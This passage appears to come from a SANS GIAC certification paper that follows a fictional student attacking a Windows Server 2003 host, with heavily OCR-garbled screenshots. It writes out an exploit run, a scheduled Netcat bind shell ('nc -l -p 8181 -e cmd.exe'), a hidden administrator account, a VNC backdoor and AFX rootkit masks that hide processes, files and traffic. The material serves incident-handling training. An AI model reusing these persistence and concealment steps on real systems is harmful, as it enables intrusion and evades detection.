SEARCH DOWNLOAD NOTIFICATION CONTACT INFO TOP TEN LIST STATISTICS
FAQ

TN ¥

Saarch tips:
All drop down menus are ANDed together to create a query.
Click a link below to look up vulnerabiliies by wvendor or product name
'_"represents non-alphabetic characters
Double -quotes are ignored in text-search; Individual words are ANDed together.

Search-= [ All entries ] [ 1 Year ] [ b Months ] [ 3 Months ] [ Resetwvalues

Vendor Microsoft

Product Windows Serser 2003 v| Feset
Version Enterprise Edition

Keyword search |
(try @ CWE or CAN name)
Severity | High

General Filters:

Common Sources

Related exploit range
Vulnerability
consequence
Vulnerability type
Exposed component type
Entry type

Entries since the
following date

|AnyMDnth V||Any"(ear v

The ICAT Wetabase is a product of the Computer Security Division at the National Institute of Standards and
Technology.
ICAT Creator: Feter hiell
ICAT Dewvelapears: Kathy Ton-Mu and hichael Reilly
ICAT Database Support: Susan Mourbakhsh, Christina Kingsberry, Rachel Glenn
Fast Developers: Derek Dve, Elizabeth Boteler, Angela Huh, David hdade, Wark bclarnon, Jorge Armenta. Benjamin
Wan Lurme

Send Feedbadk to: icat@nist.gow

v| Go | Links >

@ http: fficat.nist. govficat_full_listing.cfm & Internet

EBX
f :*l

|€

Figure 41

He is looking for any cataloged vulnerabilities from Vendor = Microsoft, Product =
Windows Server 2003, Version = Enterprise Edition, Severity = High, and Related
Exploit Range = Remote. This search (Figure 41) will give him vulnerabilities that affect
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his target and can be exploited remotely over the Internet. Notice that there are several
other search fields and search filters to help narrow a search. He hits the “All entries”
button to get the following search results.

-2 ICAT Metabase: A CVE Based Vulnerability Database - Microsoft Internet Explorer E|@|E|
File Edit \Miew Favorites Tools Help ",'
Q Back - > |ﬂ @ _;\J /.._\J Search ‘:‘/’1‘\'/ Favorites ﬁ‘ Media @3 - -,’;_ _J é% @ ‘ﬁ
Address |§1 hittp: [ ficat.nist.gov ficat . cfrm?function=resulks&skartrow=1 vl Go Links >
G(')Dgle - |icat ~w % Search Wweb - Q_%Search Site @ 0 - E Opticns - @ icat

— -~

CAN-2003.0813

Summary: A multi-threaded race condition in the Windows RPC DCORM functionality
with the M3S03-039 patch installed allows remote attackers to cause a
denial of service (crash or reboot) by causing two threads to process the
same RPC request, which causes one thread to use memaory after it has
been freed, a different vulnerability than CAN-2003-0352 (Blaster/Machi),
CAN-2003-0715, and CAN-2003-0525, and as demonstrated by certain
exploits against those vulnerabilities.

Published Before: 11/17/2003

Severity: High

CAN-2003 0717

Summary: The Messenger Service for YWindows NT through Server 2003 does not
properly werify the length of the message, which allows remote attackers
to execute arbitrary code via a buffer overflow attack.

Published Before: 11/17/2003

Severity: High

CAN-2003 0711

Summary: Stack-based buffer overflow in the PCHealth systern in the Help and
Support Center function in Windows ®P and YWindows Server 2003 allows
rermote attackers to execute arbitrary code via a long guery in an HCP
URL.

Published Before: 11/17/2003

Severity: High

Force, NIAP, SANS CAN-2003-0660 : - :

Institute, and Security Summary: The Authenticode capability in Microsoft, Windows NT, through Server
2003 does not prompt the user to download and install Activel controls
when the system is low on memory, which could allow remote attackers
execute arbitrary code without user approval.

Published Before: 11/17/2003

Severity: High

CAN-2003 0715

Summary: Heap-based buffer overflow in the Distributed Component Object Model
(DCOM) interface in the RPCSS Service allows remote attackers to
execute arbitrary code via a malformed DCERPC DCOM object activation
request packet with modified length fields, a different vulnerahility than
CAMN-2003-0352 (Blaster/Machi) and CAN-2003-0528.

Published Before: 9/17/2003

Severity: High

CAN-20030528

Summary: Heap-based buffer overflow in the Distributed Component Object hModel
(DCOM) interface in the RPCSS Service allows remote attackers to
execute arbitrary code via a malformed RPC reguest with a long filename
pararmeter, a different vulnerability than CAN-2003-0352 (BlasterMNachi)
and CAMN-2003-0715.

Published Before: 9/17/2003 &

@ & Inkernet

Figure 42

The search (Figure 42) returns 6 results, each a possible way to attack GIACBikes.
Since our hacker wants to be able to totally comprise the GIACBikes server or at least
cause a Denial of Service attack, he narrows the possibilities down to the Messenger
Service attack (CAN-2003-0717). One reason he picks this vulnerability is he is familiar
with the Messenger Service from his school computer labs. He and his friends used it
to play tricks on unsuspecting students. They would use “net send” to send messages
to fellow students in the lab with false information or instructions to report to the dean
immediately. It was great fun until everyone caught on.
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2 ICAT Metabase: A CVE Based Vulnerability Database - Microsoft Internet Explorer |z||§ £|
File Edit Wiew Favworites Tools  Help #‘
@ Back - \) E @ \/_;j p Search \‘;/"r\\'s-‘ Favarites & Media @ B - .‘{_; - I_‘J ﬁ C@ ‘a
Address |@ http:/ficat.nist.gov/icat.cfm?cvename=CAN-2003-0717 V| G0 Links **

GOOng - icak

~| @ searchweb - @Yssarchsite 52 € - [# Options - A [Eicat

>

ICAT Your CVE Vulnerability Search Engine ..x O b

METABASE SEARCH DOWNLOAD NOTIFICATION CONTACT INFO TOP TEN LIST STATISTICS
FAQ

Welcome to ICAT!
- CAN-20030717

Last upd
12/15/03

C, X-
orce, NIAP, SANS
Institute, and Security

Focus.

[

@ B Internet

Figure 43

A look at the information provided in the ICAT database (Figure 43) convinced our
hacker that he was on the right track. He followed the links to the Microsoft Bulletin
MS03-043 to gain information, but the real payoff was in the SecurityFocus Vulnerability
Database listing.
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2 SecurityFocus home vulns exploit: Microsoft Windows Messenger Service Buffer Overrun - Microsoft Internet Explorer

File  Edit

eBack < J \ﬂ @ _h /I__\J Search “51:( Favorites eMedia 6} [_':v :_\;

Wiew  Faworites  Tools  Help

- 3P

=)

3
o

J

Address |@ htbp: v, securityfocus, com/bid /8826 exploit

Links **

v|G0

GOOSle V| &% Search web - @Y Search Site @ - EOptions @

My Account | Signin | AboutUs | Adveriise | Contact

< >SecurityFocus ™ Entire Site

f Bugtraq

er Download

“: Vulnerabilities * Library “ Calendar = Tools = Service Ve

YULNERABILITIES

Microsoft Windows Messenger Service Buffer Overrun Yulnerability

exploit | solution credit help

info discussion

A proof of concept exploit (MS03-04.W2kFR.c), has been released by Mriice and has been
reported to be tested on French Localized Microsoft Windows 2000 SPO systems. A denial of
service proof-of-concept has been released. A Linux port (ms03-043.c) of the denial of service
proof-of-concept has also been released. The Linux port has been updated so that it compiles on
FreeBSD.

ts/MS03-043 poc.c
ts/ms03-043.c
ts/msard7.c
ts/MSO3-04 .M ZkFR.C

o fdatafvulnerabilitiesfexp
o fdatafvulnerabilitiesfexp
o fdatafvulnerabilitiesfexp
o fdatafvulnerabilitiesfexp

(i (s (Y (]

Disclaimer | About The Yulnerability Database

For additions or corrections please email vuldb@securityfocus .com

Privacy Staterment
Copyright @ 1999-2003 SecurityFocus

Go

SecurityFocus
Newsletters and
Mailing Lists

Subseribe Now
Newsletters  Malling Lists |
XML
VULNS

By Vendor

By Title

By Keyword
By BugTrag ID
By CVE ID

By Published Date

&l

0 Inkernet

Figure 44

The SecurityFocus pages for this vulnerability (Figure 44) indicate that there are several
publicly available exploit programs and even shows where to download the code.

Our hacker studied the exploit code available and picked Adik’s msgr07 exploit as the
best one for his purposes. msgr07 could give him a good foothold on the target system
with the ability to load other exploit software to take full control over the system, and

failing that, would at least disable the GIACBikes web site.
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A 00000000 - tessyO0 00 - Microsoft Internet Explorer provided by TYA IE 6.0 - 10| =]

File Edit Wiew Faworites Tools  Help m

O Back - d - |_L| |EL| :\J | /.-‘: Search \;13’ Favorites @ Media é“v{ | - \. = ﬂ -

Address Iﬁj http:fid.hatena.ne. jpftessy/200311 d Go | Links **

GODS]E vl j | 55 Search web  ~ @ Search Site | @ | & - 5h2743 blocked | E Options -
(000fF0000000#8&00000) 4l

ERMERFE N pert139 co jp)

M [Windows]|MS03-043 Microsoft Messenger Service Heap Overflow 38
e Dlicrosoft Messenger Service Heap Overflow Exploit (M203-043) (secuntylab ru)
o 000 @ msgr07 cotzt
« 0000 @ ety EXE

HI0XP0 Twhssve.dily OFEFTO000RIZEDDONMS03-04300000WindowsUpdate
0EEFEsio000000000n. #FEHoooooo ?

AT R0 04RO EEEEOOoO.
« 0000000 OO0O0O0FEFESR - 828035

« 000000 000000000 000000000, 00000f#000 (328035) (ME03-
0473}

000000msgrd7 exe03A000000,

C:h\>msgri?.exe

= =[ M3 Messenger Service Heap Cwerflow Exploit (M303-043) wer 0.7 ]=-
by Adik < netmaniac [at] hotmail.KG > J
http://netninja.to.ky
Target % wersion:

[o] Windows Z000 3P 3 (en)
[1] Windows EP 3P 1 (en)

Uzage: C:hvmsgr07.exe [TargetIP] [wver: 0 | 1]
eg: m3gr.exe 192.165.63.130 0O

C:yrmsgro7.exe 192.165.100.16 0O

s =[ M3 Mes=senger Service Heap Cwverflow Exploit (M303-043) wer 0.7 ]=-—

by Adik < netmaniac [at] hotmail.EKG >
http://netninja.to.ky

[*] Target: IP: 192.168.100.16 %: Windows 2000 3P 3 (en)
[*] UEF: Ox77es0d44c
[*] JHP: Ox7658d693e -
2| | »
|@'] Start downloading From site: http:/finsidenet.tva. gov) |® Internet 5
Figure 45

Some additional searching on the Internet revealed a web site (Figure 45) with an
already compiled version of the msgr0O7 exploit - http://d.hatena.ne.jp/tessy/200311.
Just download the executable, point it at the target, and our hacker would have access
to GIACBikes.

This a good place in the attack to point out the mistake our hacker is making in his
attack. He has failed to take note that the proper IP ports required for his chosen attack
are not open on the GIACBikes SBS2003 server. Unlike previous versions of Windows
NT, 2000, and XP, Windows 2003 does not leave any ports open in its default
configuration. We will go into more detail on Windows 2003 security features in the
Incident Handling Section of this paper.
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¢+ Command Prompk

C:~AttackXms=grd? 160.1.1.2 1
—=[ M5 Messzenger Service Heap Ouverflow Expleoit (M5BA3-B@43> ver B.7 1=

by Adik < netmaniac [at] hotmail.KG >
http:=/snetninja.to.ky

[=] - : IP: 18.1.1.2 03: Windows P 5P 1 <en>
[=] : Bx77ed?3b4
[#=] H Bx7884bE52

[#] WSAStartup initiali=zed...

[#]1 Mzg hody size: 3688

[#] Socket initialized...

[#] Injecting packet into a remote process...
[#]1 Packet injected...

[i]l Try connecting to 18.1.1_2:9191

C:~Attack>nc —vwv —n 18.1.1.2 2191
CUNKHOWN> [18.1.1.21 9191 <?>: TIMEDOUT
zent B, rcvd B: NOTSOCK

C:~Attack>

Figure 46

Our hacker simply runs Adik’s exploit by giving it the target IP address and the type of
system (Figure 46). He uses the XP version thinking it will be closer to Windows 2003
than Windows 2000. Since the feedback from the msgrO7 program indicates it was
successful, he tries establishing a Netcat session to open the remote command shell.
But for some reason, the target is not accepting his session. Port 9191 does not appear
to be open or is not accepting connections. He then tries the attack again with the
Windows 2000 switch, but with the same unsuccessful results.

Our hacker had to dig a little deeper to find out what went wrong with his attack. He
visited a hacker discussion group and was told in no uncertain terms that he was a lame
script-kiddie who had no business calling himself a hacker. But after suffering plenty of
abuse (and trying to dish some out) he was told that msgr07 required UDP port 135 to
open on the target system for there to be any chance for it to work. Our student hacker
would have to look elsewhere for an exploit. He has glad the he would have a
networking class at college next semester.
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Keeping Access

Our hacker did have a plan to keep access once he could find a successful exploit to
get a remote command shell. He would use Netcat to copy and install Virtual Network
Computing (VNC) (http://www.realvnc.com/) remote control software. VNC would give

him a Windows desktop on the target machine. VNC is a free download. Here are the
steps our hacker planned to use to install and run VNC (photocopied by our hacker from
a college library book on Windows hacking - “Hacking Windows 2000 Exposed: Network
Security Secrets & Solutions by Joel Scambray and Stuart McClure”).

The first step our hacker needs to take is to get Netcat installed on the target host and
have it execute automatically. He could continue to use his exploit to keep getting a
remote command shell, but that could be detected or the system patched and he would
be denied access. By installing a copy of Netcat and having it execute automatically to
provide a remote command prompt, he would have access and there would be less
chance of detection since Netcat would be ready and listening for his connection.

&+ Command Prompt - nc 192.168.1.2 9191

C:wattack>nc 192 _.168.1.2 9191
Microzsoft Windows [Uersion 5.2.37981

(GC>» Gopyright 1985-28083 Microsoft Corp.

Gz

Figure 47

So the first step is to run the exploit to get a remote shell on the target host (Figure 47).

Note: Since msgr07 did not work for our hacker, this section assumes he found a

successful exploit similar to msgr07.

=+ Command Prompt - nc 192.168.1.2 9191

C:wattack»nc 192.168.1.2 9191
Microzoft Windows [Uersion 5.2.379681

(C» Copyright 1985-28083 Microsoft Corp.

C:~>ftp —A 192.168.1.3
ftp —A 192.168.1.3

Anonymous login succeeded for administratorBshs28083.GIACBikes.local
type binary

Figure 48

Our hacker installed a FTP server on his workstation and loaded nc.exe on to the FTP
site. He then FTPs to his site from the remote command shell on the target host and
downloads nc.exe to the target host (Figure 48). The -A switch on the ftp command
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causes an anonymous login to the FTP server. The “type binary” ftp command tells
FTP to download files in binary mode (required for executables). The “get nc.exe”
command initiates the download of the Netcat program file from the FTP server

(192.168.1.3) to the target host (192.168.1.2).

&+ Command Prompt

C:vattack»nc 192 168.1.2 94941
Microsoft Windows [Version 5.2.37981
(C>» Copyright 1785-2083 Microsoft Corp.

C:n>Fep —A 192.168.1.3
ftp —A 192.168.1.3

Hnunymuug login succeeded for administratorfshs2803_.GIACBikes.local

Uolume in drive C has no label.
Uolume Serial Mumber iz FBY?3-AL36

Directory of G:x

C=~exit

C:“attack>

8 Dirds>

B AUTOEXEC.BAT
<DIR> ClientApps
A CONFIG.SYS
<DIR> Documents and Settings

2,148 1880 Exchange Server Setup Progress.log

<DIR> fax
120,328 file.txt
<DIR> Inetpub
128,320 nc.exe
<DIR> Program Files
<DIR> Users Shared Folders
<DIR> WINDOWS
<DIR> umpuhb
2,388,748 hytes
1,167,.933,.448 hytes free

Figure 49

Here (Figure 49) he does a directory command in the remote command shell on the

target host to see that his FTP download was successful -

target host.

nc.exe is installed on the

Now our hacker needs to use the Windows Schedule service to make Netcat execute
automatically. The Windows AT command can accomplish this.
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=+ Command Prompt - nc 192.168.1.2 9191

C:wattack»nc 192.168.1.2 9191
Microzoft Windows [Uersion 5.2.379681
(C» Copyright 1985-28083 Microsoft Corp.

C=~2at “AN192.168.1.2 12:80A severy:l "'nc -1 —p B181 -e cmd.exe™"
at ~~N192_168.1.2 12:80A0 revery:l "'nc -1 —p B181 —e cmd.exe™"
Added a new job with job ID =1

G2

Figure 50

Our hacker runs his exploit and then uses Netcat to get a remote command prompt on

the target host. He then uses the AT command to schedule a job to run Netcat each
day at 12:00 midnight (Figure 50). The AT command schedules the job on the target

host (192.168.1.2) at 12:00 AM. The /every:1 switch tells the Scheduler service to run
this job every day. And of course, our now familiar “nc - -p 8181 -e cmd.exe” command
will run Netcat listening on port 8181 and load the command shell when a connection is
made. Our hacker picks port 8181 instead of 9191 just to mix things up a little in case

© SANS Institute 2004,

an IDS begins to trigger on port 9191.

(& Scheduled Tasks 10| x|
File Edit Yiew Favorites Tools Advanced Help | ;:‘
DEack -~ 3 - [} | - Search Folders | & 3 X KE) | (-
Address |4 Scheduled Tasks =l B
Mame = | Schedule | Mext Run Time | Last Fun Time | Status | Last Result | Creator |
|21 add Scheduled Task
[ER At ] AL 1Z:00 AMonday... 1Z:00:00AM ... Never Ox0 SYSTEM
ECDIIect Server Performance D.,.  Every 1 hour(s) fro..,  S:45:004M ... 7:45:00 &M ... 0x0  adminiskrator
a Collect Usage Data Ak 430 aM every d...  $:30:00AM .. Newver 0x0  adminiskrator
a ShadowCopyWolurme{falld04... Mulkiple schedule k... 12:00:00PM ..,  12:00:00PM ... Ox0  Administrataor
a Small Business Server - Serve.,, At&:00 AMevery d...  &:00:004M .. &:00:00 &M ... Ox0  adriniskratar
a Small Business Server - Serve.,, At 630 AMevery M., ©:30:004M ... Mever Ox0  adriniskratar
1 ohjects selected 4
Figure 51
Looking on the target host in Scheduled Tasks (Figure 51) we see the hacker's AT
command was successful.
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Ar: =il

T ask ‘I Schedule I Settings I Security I

Ej Cow AN DIOS ST askstAtl job

Fun: Inc: -l -p 8131 -2 cnd.exe

Skark ir: I

Comments: Created by M ets cheduledobddd.

FHumn as: INT AUTHORITYSSS TER

¥ Ernabled [scheduled task rums at specified e

DK I Cancel I Spply I

Figure 52

Drilling down in Scheduled Tasks to our hackers just added task (Figure 52), we see the
Netcat command.

Note: Once our hacker has successfully installed VNC, the need for Netcat goes away.
He can use VNC to delete the scheduled Netcat job and clean up any signs that Netcat
was used to compromise the target system.

In preparation for using VNC, our hacker creates an administrator level account on the
target host. He will need this administrator account to login to the target host after
connecting with VNC.

=+ Command Prompt - nc 192.168.1.2 9191

IC-“>net user systemBl add
net user systemBl ~add
The command completed successfully.

C:»>net localgroup administwators systemBl ~<add
net localgroup administrators systemBl ~add
The command completed successfully.

IC:~>net localgroup administrators

net localgroup administratowrs

Nlias name administrators

Comment Administrators have complete and unrestricted access to the compul
ter/domain

The command completed successfully.

Figure 53

To add the account he opens his remote command shell on the target host and issues a
“net user” command to add a user account called system01 (Figure 53). He thinks that
an account called system01 will be less likely to be noticed since it resembles a
Windows system level account. He next uses the “net localgroup” command to add his
system01 account to the Administrators group. Now he can use this account to logon to
the target host with full administrative privileges.
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Our hacker is ready to install VNC on the target host. He uses the following steps (from
his “Hacking Windows 2000 Exposed” library book):

a. Install VNC on a local machine, set a password and any options.
¥ Setup - YNC

Ready to Install
Setup is now ready to begin installing WMC on your computer.

Click Install to continue with the installation, or click Back if you wart to review or
change any settings.

Destination directory:
C:*Program Files*RealVMNC

3

Setup Type:
Full installation

Selected Components:
VMC Server
WNC Viewer —

Start Menu folder:
RealVMNC

£

[ < Back ” Install l[ Cancel

Figure 54

He installs VNC on his own Windows host and sets a password for connection to the
VNC server (Figure 54). This step installs the VNC executables and the registry entries
that will be copied to the target host.

b. Open RegEdit, export the HKLM/Software/ORL key to a file.

% Registry Editor

File Edit View Favorites Help
[£3 sECURITY A | Mame Type Data

=0 SOFTWARE E:] (Default) REG_SZ (value not set)
3 corftsy 2] -

(L] Classes
23 cClients
[Z7 Foundstone, Inc.
[ Gemplus
(23 Microsoft
[Z3 opBC
ER=]ORL
=0 WinvNC3
(23 Default
[Z3 Policies
[771 Proaram Groups
< | > < |

My Computer\HKEY_LOCAL_MACHIMNE\SOFTWARE\ORL

||

K

Figure 55

The ORL registry key is where the settings for VNC are stored (Figure 55). By right-
clicking on the key, it can be exported to a file.
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c. Copy winvnc.exe, vnchooks.dll, and omnithread_rt.dll to the target's \winnt\system32
directory
e Command Prompt - c:\attack\nc 192.168.1.2 9191

C:“Program Files“RealUNC-WinUNC>dir
Uolume in deive C has no label.
Uolume Serial Humber is 1CFE-CH77?

Directory of C:“Program Files“RealUMC-WinUNC

<DIR>
<DIR>

61,448 othread2.dll
57.344 vnchooks.dll
1,418 vuncreg.reg
335.872 winvnc.exe

4 File(s) 456 . 866 hytes
2 Dirds> 2.511.585,.288 bytes free

C:“Program Files“RealUNC:\WinUNC>c::“~attacksnc 192.168_.1.2 9191
Microsoft Windows [Uersion 5.2.37981
(C>» Copyright 1985%-2003 Microsoft Corp.

C:~>»cd program files
cd program files

C:“Program Filez»md realvnc
md realuvnc

C:“Program Files»cd realvunc
cd realuvnc

C:“Program Files“realvnc?md winuvnc
md winunc

C:“FProgram Files“realvnccd winvnc
cd winunc

C:“Program Files“realuncwinuvnc>c:~nc —1 —p 18888 > uncreyg.reg
c:wnc —1 —p 18@00A > uvncreg.reg

Figure 56

Here (Figure 56) our hacker checks the VNC directory on his workstation to see what
files need to be copied over to the target host (vncreg.reg contains the registry values
he exported in the last step).

He then opens his remote command shell on the target host and creates the directories
to copy the VNC files into (note - our hacker recreates the VNC directory structure from
his workstation, he could have also just copied the files into the Windows system32
directory).

He then uses Netcat again to open a new Netcat session listening on port 10000. The
“> vncreg.reg” part of the command tells this Netcat session to copy (or “pipe”) any
traffic received on port 10000 to the vncreg.reg file.
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. Command Prompt - c:\attack\nc 192.168.1.2 10000

C=“Program Files“RealUHC:WinUNCXc :sattackwnc 192_168.1.2 188088 < wvncreg.req

Figure 57

To complete the copy of the vncreg.reg file, he opens a local command shell on his
workstation (Figure 57) and uses Netcat to send his copy of vncreg.reg to the target
host. The “<vncreg.reg” part of the Netcat command tells Netcat to send the contents
of that file over port 10000 to host 192.168.1.2.

e+ Command Prompt - c:\attack\nc 192.168.1.2 9191

C:“Program Files“realuvnc winunc>dip
il i

Uolume in drive C has no label.
Uplume Serial NHumber is FBA73I-A536

Directory of C:Program Filessrealunc*winunc

12:42 PH {DIR>

12:42 PHM <DIR> .-

12:46 PM 1,418 vncreg.reg
1 File<s) 1,418 hytes
2 Divds) 1,.186,.181.1208 bytes free

C:“Program Files“realvncwinvnci_

Figure 58

He checks that the copy was successful (Figure 58) and then repeats this step for each
of the VNC files in his VNC directory.

Note: Our hacker wishes he had just created an executable ZIP file with the VNC files
so he would only have to do the file transfer once. This would be less work for him and
less chance of being detected. Next time, he thinks.
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© SANS Institute 2004,

d. Copy your exported registry file to the target,

= Command Prompt - nc 192.168.1.2 9191

C:swattack>nc 192.168.1.2 91721
Microsoft Windows [Version 5.2.3797@1
(C> Copyright 1985-2803 Microsoft Corp.

IC-~>od “program filessrealuncwinuvnc
cd “~program files“realvnc™winunc

IC:~Progranmn Files“realuncwinunc>diw
i

Uolume in drive C has no label.
Uolume Serial Mumber iz FAY3I-AS36

Directory of C:“Program Files“realuncwinuvnc

<DIR>
<DIR>

1223
12,237

1,418 vncreg.reg
335.872 winvnc.exe
456,866 bytes

"4 File(s)
2 Dirdsd

IC:“Program Files“realunchwinunc?regedit vncreg.reg

regedit vncrey.reqg

IC:~Program Files“realunchwinuvncl_

61,448 othread2.dll
57.344 vnchooks.dll

1,.185,.599,.488 hytes free

import with regedit

Figure 59

Here (Figure 59) our hacker (from his remote command shell to the target host) verifies
that all the VNC files were successfully copied to the target host and runs regedit (the
Window registry editor) to import the VNC registry key. This will set the passwords and

options for VNC as they were on the hackers system.

e. Execute winvnc -install on the target system
d. Execute net start winvnc

v Command Prompt - nc 192.168.1.2 9191

12-23-2883
12-23-2803
12-23-2883
12-23-2883
12232083
12-23-2883

uncreg.rey
winunc.exe
= 456 B66 bytes
2 Dirdsd

GC:*Program Files“realvncwinunc>regedit vncreg.reg

regedit vncreg.reqg

C=“Program Files“realvncwinuvnc?winunc —install
winunc —install

C:Program Files“realvncwinvnc>net start winuvnc
net start winvnc

The UNC Server service is starting.

The UMC Server zervice was started successfully.

C-“Program Files“realvnc winvnc_

othread2.dll
vnchooks .dll

1,185,.597,.488 bhytes free

Figure 60

In these two steps (Figure 60), again working in the remote command shell, our hacker
runs the winvnc program with the -install switch. The -install switch tells VNC to register
itself as a Window service. This allows VNC to run at boot up.
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He then goes ahead and starts the VNC service using the “net start” command. VNC

will start automatically from now on, so this step is only necessary once.

4 Services

Fil=  Action Wiew Help

=l01x|

1--P||||§| N T T

@ Services (Local) "

¥NC Server Mame  / I Descripkion | Skatus I Startup Type | Log On As | ;I
%Themes Provides u... Disabled Local System
Stop the service: %Uninterruptible Pow... Manages a... Manual Local Service
Restartielsiiee %Upload Manager Managest... Disabled Local Syskem
%'\-‘irtual Disk Service Provides s... Marnual Local System
%\-‘Mware Tools Service  Provides 5., Started Autarnatic Local Syskem
i Sery Started Autaormatic Local System
%'\-‘Dlume Shadow Copy  Manages a... Manual Local Syskem
%Web Usage Logging... Logsclient ... Started Autaormatic Local Syskem
%Webclient Enables Wi...  Started Autornatic Local Service
%Windows Audio Manages a... Manual Local Syskem
%Windows Image Ac..,  Provides im... Disabled Local Service
%Windows Installer Adds, modi... Manual Local Syskem
%Windows Internet M... ResolvesM... Started Aukarmatic Local System
%Windows Managem... Providesa... Started Aukarnatic Local Syskem
%Windows Managem... Monitors all... Manual Local System
%Windows Tirne Maintains d... Started Autarnatic Local Syskem
%WinHTTP Web Prox... Implement... Marual Local Service
%Wireless Configuration Enables au... Manual Local Syskem
%WMI Performance &... Provides p... Manual Local Syskem
%Workstation Creates an...  Started Autornatic Local System
%World ‘Wide 'Web Pu.., Provides W.., Started Aukarmatic Local System

-
Extended A Standard f
| |
Figure 61

Here (Figure 61) we see that the VNC service did get registered as a Windows service

and is set to start automatically when the system boots up.

f. Execute vncviewer -listen on the attacking system
g. Execute winvnc -connect <your ip> and enjo

our desktop ;

Connection details

WHC zerver:

19216814

ve

no

lze host:dizplay
£.0. snoopy; 2

[Dizplay defaultz to 0 if hot given]

e |

&3

Cancel
Optiohz. .

Figure 62

Our hacker starts the VNC client on his workstation and points to the target host at
192.168.1.2 (Figure 62). When the connection is made the VNC server will prompt for a
password that our hacker preset. This will help prevent other hackers from getting

access to this host and taking it over from our hacker.
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shs2003

System Properties 2| x]

Advanced | Remote I
General | Hardware

Computer gescription I

Full computer name: shs2003 GIACEkes local

Domain:

To rename this computer of join a domain, click Change. Change...

‘windows uzes the following information ta identify your computer
ot the network.

For example: "5 Production Server” or
“tccounting Server'

GlACBikes.local

0K I Cancel

Here (Figure 63) we see the successful VNC session running on our hacker’s

Figure 63

workstation. He brings up the target host System Properties to verify he is on the right

host.

Our hacker can now access the target system anytime, and by using his system01
administrator account, he now owns the target system.
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Covering Tracks

The first thing our hacker does to cover his tracks is to use his VNC connection to
delete the Windows Scheduler task he created to run Netcat. He decides to leave the
Netcat executable program (nc.exe) on the system in case he might need it later. But
he needs to hide his VNC connection and the Netcat program before they are detected.

Our hacker picks the AFX Windows Rootkit 2003 by Aphex to hide VNC and cover his
tracks. This rootkit one of the newer Windows rootkits and is available at
http://www.iamaphex.cjb.net/.

The SearchSecurity web site defines a rootkit like this:

http://searchsecurity.techtarget.com/sDefinition/0,,sid14 qgci547279,00.html

A rootkit is a collection of tools (programs) that a hacker uses to mask intrusion and
obtain administrator-level access to a computer or computer network. The intruder
installs a rootkit on a computer after first obtaining user-level access, either by exploiting
a known vulnerability or cracking a password. The rootkit then collects userids and
passwords to other machines on the network, thus giving the hacker root or privileged
access.

A rootkit may consist of utilities that also: monitor traffic and keystrokes; create a
"backdoor" into the system for the hacker's use; alter log files; attack other machines on
the network; and alter existing system tools to circumvent detection.

The AFX program documentation describes its functions like this:

AFX Windows Rootkit 2003
http:.//www.iamaphex.cjb.net
unremote@knology.net

This software generates a system patch that will hide processes, files, folders

registry keys and netstat entries from Windows 95/98/ME/NT/2k/XP/2003. Information is
withheld based on 4 lists of mask strings. This enables you to apply wildcards to hiding
functions such as hiding files based on "*.exe" or netstat entries based on "*TCP*:80™" to
hide http traffic.
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) AFX windows Rootkit 2003 00

|

] )
J F'ru:u:essesl Files [ Regizsty [Ennnectinns

f Generate A# Help A# About 3

hittpe v iamaphes. cib.net hittp: s meqasecunty. org

Figure 64

AFX Windows Rootkit 2003 has a simple user interface (Figure 64). Select the tab for
the type of object to hide and then create a “mask” for that type of object.

AFX Windows Rootkit 2003 E3

Process Format: <name>.<type>

Examples:
"reee™" (hides all processes starting with “rees™)
"= exe” (hides all exe processes :P)

File Format: <name=.<type:=

Examples:
"rere™” (hides all files starting with “ree™)
"= exe” (hides all exe files :P)

Registry Format: <name >

Examples:
"reea®™ (hides all value names starting with “ree™)
"*file*" (hides all values containing "file™)

Connection Format: *<protocol =*<local address=:<port>=*<remote address = :<port=*

Examples:
"*TCP*" (hides all tcp traffic)
"*24.44,105.33*" (hides all traffic from 24.44.105.33)
"*FTCP*:30%:*" (hides all traffic to local port 80)

Figure 65

The help file (Figure 65) shows the syntax for the masks and includes examples.

Our hacker plans to hide his VNC and Netcat processes and their associated files and
registry entries. He also wants to hide the network connection of his VNC session.
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First he selects the “Processes” tab (Figure 66) and creates masks to hide the

) AFX windows Rootkit 2003 00

] ) ]
J F'ru:u:essesl Files [ Regizsty [Ennnectinns

Wi T CE e
nC.exe

f Generate A# Help A# About 3

hittpe v iamaphes. cib.net hittp: s meqasecunty. org

Figure 66

winvnc.exe (VNC) and nc.exe (Netcat) process. This will prevent these processes from
showing up in Task Manager and other process viewers.

) AFX Windows Rootkit 2003 08
) — . }
Frocesszes l Files I Fiegisty [ Connections
reaksmnc*

LW & A

f Generate Help A Ahot

hittpe A fvavn iamaphes. cib.net - hitp: Adwww, meqasecurity, org

Figure 67

Now he wants to hide the VNC directory and any files in it so he creates a “realvnc*”
mask (Figure 67). The * is a wild card character the will match any characters. So this

mask will hide any file or directory beginning with the characters “realvnc”.
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) AFX windows Rootkit 2003 00

) ] ]
[ Froceszes [ Files [ Hegistr_l,l,l Connections

ORL

A f A

f Generate Help A# About

hittpe v iamaphes. cib.net hittp: s meqasecunty. org

Figure 68

To hide the registry entry for VNC, our hacker creates a simple mask to hide the “ORL”
registry entry (Figure 68).

) AFX Windows Rootkit 2003 0O

I ) )
[ Frocesses [ Filez [ Registy 'Ennnectians{

*TCP=5a00*

LW & b Y

f Generate Help A Abot

hittpe A f v iamaphes b net - http:/Aaa, meqasecurity, org

Figure 69

Finally, our hacker creates a mask to hide the VNC network port (Figure 69). By
default, the VNC server listens on TCP port 5900 for a client connection. This mask
hides any port 5900 TCP connection on the target host (*TCP*:5900) that comes into
the target host from any VNC client (*.*).

He hits the “Generate” button and saves the masks in what AFX calls a “patch”. The
“patch” is an executable program that will modify Windows to hide the processes and
programs specified. He names the patch “hidevnc”. He could have named the program

any name.
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c. Command Prompt

C:=“>hidevnc
Con>

Figure 70

Using the same FTP technique as he used to get Netcat on the target host, our hacker
plans to upload and execute the “patch” created with AFX Windows Rootkit 2003 on the
target host. But first he tests the patch to make sure his masks are correct. There is no
feedback when running the “patch” (Figure 70).

e Commiand Prompt _I_I- = ﬂ

S
I T-T-1-1-1-1-T
g o Rl

i fys

oEEE

o)

L= LT=L=

S I
O R A e e g
i o R fu e o o s

Rl i
EEEEEEmg

oo ool o o oo ol oo ool oo oo oo oo o oo ool o fo o o f o f o

e e e e ol sl i i e A e e sl i i e A A A A e e i A e A A i e e i i i A A S
i i sl sl s sl sl s i e i i sl sl sl i i S S e sl sl s S S S i sl sl S sl sl s S e S

=

&

=]
1

Figure 71

He executes the program “patch” and then runs “netstat —a” to check for VNC listening
on TCP port 5900 (Figure 71). Nothing seems to be running on TCP port 5900 so he
tries to connect to the VNC server on the target host. He still gets a connection, so AFX
is doing its job.
